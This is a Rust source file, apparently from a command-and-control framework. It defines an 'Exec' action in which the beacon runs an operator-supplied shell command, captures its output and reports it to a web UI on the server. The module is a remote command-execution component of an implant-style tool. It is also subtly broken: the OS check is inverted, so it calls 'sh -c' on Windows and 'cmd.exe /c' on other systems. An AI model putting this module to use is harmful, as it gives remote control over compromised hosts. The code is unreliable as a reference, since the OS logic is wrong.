133 lines
4.0 KiB
Rust
133 lines
4.0 KiB
Rust
#[cfg(feature = "server")]
|
|
use leptos::{either::Either, prelude::*};
|
|
use serde::{Deserialize, Serialize};
|
|
|
|
#[cfg(feature = "beacon")]
|
|
use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
|
|
use crate::version::Version;
|
|
|
|
#[derive(Debug, Serialize, Deserialize, Clone)]
|
|
pub struct Exec {
|
|
exec_cmd: String
|
|
}
|
|
|
|
#[async_trait::async_trait]
|
|
impl super::Action for Exec {
|
|
const REQ_VERSION: Version = Version::new(2, 0);
|
|
const REQ_OS: Option<&'static str> = None;
|
|
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
|
|
("Command to execute", "exec_cmd", None)
|
|
];
|
|
|
|
type ActionData = String;
|
|
#[cfg(feature = "server-ssr")]
|
|
type BuilderData = Self;
|
|
|
|
#[cfg(feature = "server-ssr")]
|
|
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
|
|
Ok(data)
|
|
}
|
|
|
|
#[cfg(feature = "beacon")]
|
|
async fn execute<'a, T, S>(
|
|
&self,
|
|
_parameters: &Parameters,
|
|
_adapter: &'a T,
|
|
_client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
|
|
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
|
where
|
|
T: 'static + BeaconAdapter,
|
|
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
|
{
|
|
use std::process::Stdio;
|
|
|
|
use tokio::{io::AsyncReadExt, process::Command};
|
|
|
|
let mut output: Vec<String> = Vec::new();
|
|
|
|
let mut cmd = if cfg!(target_os = "windows") {
|
|
Command::new("sh")
|
|
.arg("-c")
|
|
.arg(self.exec_cmd.clone())
|
|
.stdout(Stdio::piped())
|
|
.stderr(Stdio::piped())
|
|
.spawn()?
|
|
} else {
|
|
Command::new("cmd.exe")
|
|
.arg("/c")
|
|
.arg(self.exec_cmd.clone())
|
|
.stdout(Stdio::piped())
|
|
.stderr(Stdio::piped())
|
|
.spawn()?
|
|
};
|
|
|
|
let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
|
|
let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
|
|
|
|
let mut stdout_buffer = [0u8; 4096];
|
|
let mut stderr_buffer = [0u8; 4096];
|
|
|
|
loop {
|
|
tokio::select! {
|
|
amt = stdout.read(&mut stdout_buffer) => {
|
|
let str_out = match std::str::from_utf8(&stdout_buffer[..amt?]) {
|
|
Ok(v) => v.to_string(),
|
|
Err(_) => "(invalid UTF-8 chunk)".to_string()
|
|
};
|
|
|
|
output.push(str_out);
|
|
},
|
|
amt = stderr.read(&mut stderr_buffer) => {
|
|
let str_out = match std::str::from_utf8(&stderr_buffer[..amt?]) {
|
|
Ok(v) => v.to_string(),
|
|
Err(_) => "(invalid UTF-8 chunk)".to_string()
|
|
};
|
|
|
|
output.push(str_out);
|
|
},
|
|
_ = cmd.wait() => {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
Ok(output.join(""))
|
|
}
|
|
|
|
#[cfg(feature = "server")]
|
|
fn render_data(&self, data: Self::ActionData) -> AnyView {
|
|
view! {
|
|
<div>
|
|
"execute command: " {self.exec_cmd.clone()}
|
|
</div>
|
|
<details>
|
|
{if data.len() > 0 {
|
|
Either::Left(view! {
|
|
<summary>
|
|
"results:"
|
|
</summary>
|
|
<pre>
|
|
{data.clone()}
|
|
</pre>
|
|
})
|
|
} else {
|
|
Either::Right(view! {
|
|
<div>"results: (empty)"</div>
|
|
})
|
|
}}
|
|
</details>
|
|
}
|
|
.into_any()
|
|
}
|
|
|
|
#[cfg(feature = "server")]
|
|
fn render_empty(&self) -> AnyView {
|
|
view! {
|
|
<div>
|
|
"execute command: " {self.exec_cmd.clone()}
|
|
</div>
|
|
}
|
|
.into_any()
|
|
}
|
|
}
|